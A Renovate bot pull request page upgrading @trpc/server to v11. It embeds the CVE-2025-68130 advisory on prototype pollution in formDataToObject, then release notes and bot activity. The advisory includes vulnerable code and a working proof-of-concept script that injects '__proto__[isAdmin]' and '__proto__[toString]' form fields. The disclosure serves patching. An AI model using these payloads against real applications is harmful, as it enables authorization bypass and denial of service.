Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Dec 17, 2025

This PR contains the following updates:

Package Change Age Confidence
trpcserver10 (source) ^10.45.2^11.8.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-68130

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @​trpc/[email protected]

# Step 4: Create the test file 

Test.js

const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Release Notes

trpc/trpc (trpcserver10)

v11.8.0

Compare Source

What's Changed

v11.7.2

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.7.1...v11.7.2

v11.7.1

Compare Source

What's Changed
New Contributors

Full Changelog: trpc/trpc@v11.7.0...v11.7.1

v11.7.0

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.6.0...v11.7.0

v11.6.0

Compare Source

What's Changed

  • feat: add precondition required response code by @​y-nk in #​6954
  • fix(client): httpBatchStreamLink in React Native "stream ends with TypeError" by @​KATT in #​6960

New Contributors

Full Changelog: trpc/trpc@v11.5.1...v11.6.0

v11.5.1

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.5.0...v11.5.1

v11.5.0

Compare Source

What's Changed

  • patch: prefer Standard Schema for input/output type inference by @​dzhu in #​6888
  • feat(server): expose procedure path in resolver options by @​KATT in #​6902

New Contributors

Full Changelog: trpc/trpc@v11.4.4...v11.5.0

v11.4.4

Compare Source

What's Changed

  • patch: typescript 5.9 support by @​KATT in #​6877
  • fix(client): httpBatchLink with custom transformed object at top level by @​KATT in #​6878
  • fix: incompatible types in monorepo due to separate .d.ts for esm/cjs by @​KATT in #​6879

New Contributors

Full Changelog: trpc/trpc@v11.4.3...v11.4.4

v11.4.3

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.4.2...v11.4.3

v11.4.2

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.4.1...v11.4.2

v11.4.1

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.4.0...v11.4.1

v11.4.0

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.3.1...v11.4.0

v11.3.1

Compare Source

What's Changed

  • fix(client): inference fix when serializing of json-like return types like z.json() by @​KATT in #​6810

Full Changelog: trpc/trpc@v11.3.0...v11.3.1

v11.3.0

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.2.0...v11.3.0

v11.2.0

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.1.4...v11.2.0

v11.1.4

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.1.3...v11.1.4

v11.1.3

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.1.2...v11.1.3

v11.1.2

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.1.1...v11.1.2

v11.1.1

Compare Source

v11.1.0

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.0.4...v11.1.0

v11.0.4

Compare Source

What's Changed

Full Changelog: trpc/trpc@v11.0.3...v11.0.4

v11.0.3

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.0.2...v11.0.3

v11.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.0.1...v11.0.2

v11.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: trpc/trpc@v11.0.0...v11.0.1

v11.0.0

Compare Source

👉 See the blog post @​ https://trpc.io/blog/announcing-trpc-11


What's Changed

Full Changelog: trpc/trpc@v10.45.0...v11.0.0

v10.45.4

Compare Source

  • Fixes broken package.json file (#​7078)

Full Changelog: trpc/trpc@v10.45.3...v10.45.4

v10.45.3

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Contributor Author

renovate bot commented Dec 17, 2025

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 19, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 91d8e18 to d1a637a Compare December 19, 2025 06:02
@pkg-pr-new
Copy link

pkg-pr-new bot commented Dec 19, 2025

Open in StackBlitz

npm i https://pkg.pr.new/mmkal/trpc-cli@167

commit: e432da8

@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch 5 times, most recently from 2d2a659 to 1c47541 Compare December 19, 2025 17:09
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 19, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 1c47541 to a31466f Compare December 21, 2025 09:55
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 21, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from a31466f to d0cad04 Compare December 21, 2025 14:09
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 21, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from d0cad04 to 4a36d21 Compare December 23, 2025 20:23
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 23, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 4a36d21 to d78ed71 Compare December 24, 2025 00:39
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 24, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from d78ed71 to 874f6c0 Compare December 25, 2025 13:42
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 25, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 874f6c0 to 1ab1c31 Compare December 25, 2025 17:04
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 25, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 1ab1c31 to 7f2325c Compare December 27, 2025 17:06
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 27, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 7f2325c to acd05ae Compare December 27, 2025 20:30
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 28, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from acd05ae to e4bc7d2 Compare December 29, 2025 16:36
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Dec 29, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from e4bc7d2 to 583acf2 Compare December 29, 2025 21:30
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Dec 30, 2025
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 3f1580a to c7ee687 Compare January 8, 2026 18:06
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Jan 8, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from c7ee687 to ea1bf2f Compare January 8, 2026 22:36
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Jan 9, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from ea1bf2f to 13500b9 Compare January 10, 2026 04:39
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Jan 10, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 13500b9 to 73fe02d Compare January 10, 2026 09:20
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Jan 10, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 73fe02d to adfcfd7 Compare January 11, 2026 00:56
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Jan 11, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from adfcfd7 to 7f1b434 Compare January 11, 2026 05:21
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Jan 11, 2026
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Jan 12, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch 2 times, most recently from 517214b to 7fccb53 Compare January 12, 2026 04:23
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Jan 12, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 7fccb53 to ab870e2 Compare January 12, 2026 17:03
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Jan 12, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from ab870e2 to 4d86bed Compare January 12, 2026 20:53
@renovate renovate bot changed the title chore(deps): update dependency trpcserver10 to v11 [security] Update dependency trpcserver10 to v11 [SECURITY] Jan 13, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from 4d86bed to 47fd7cd Compare January 13, 2026 15:56
@renovate renovate bot changed the title Update dependency trpcserver10 to v11 [SECURITY] chore(deps): update dependency trpcserver10 to v11 [security] Jan 13, 2026
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch 6 times, most recently from 41c4f16 to f0fdb26 Compare January 14, 2026 02:01
@renovate renovate bot force-pushed the renovate/npm-trpcserver10-vulnerability branch from f0fdb26 to e432da8 Compare January 14, 2026 04:45
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant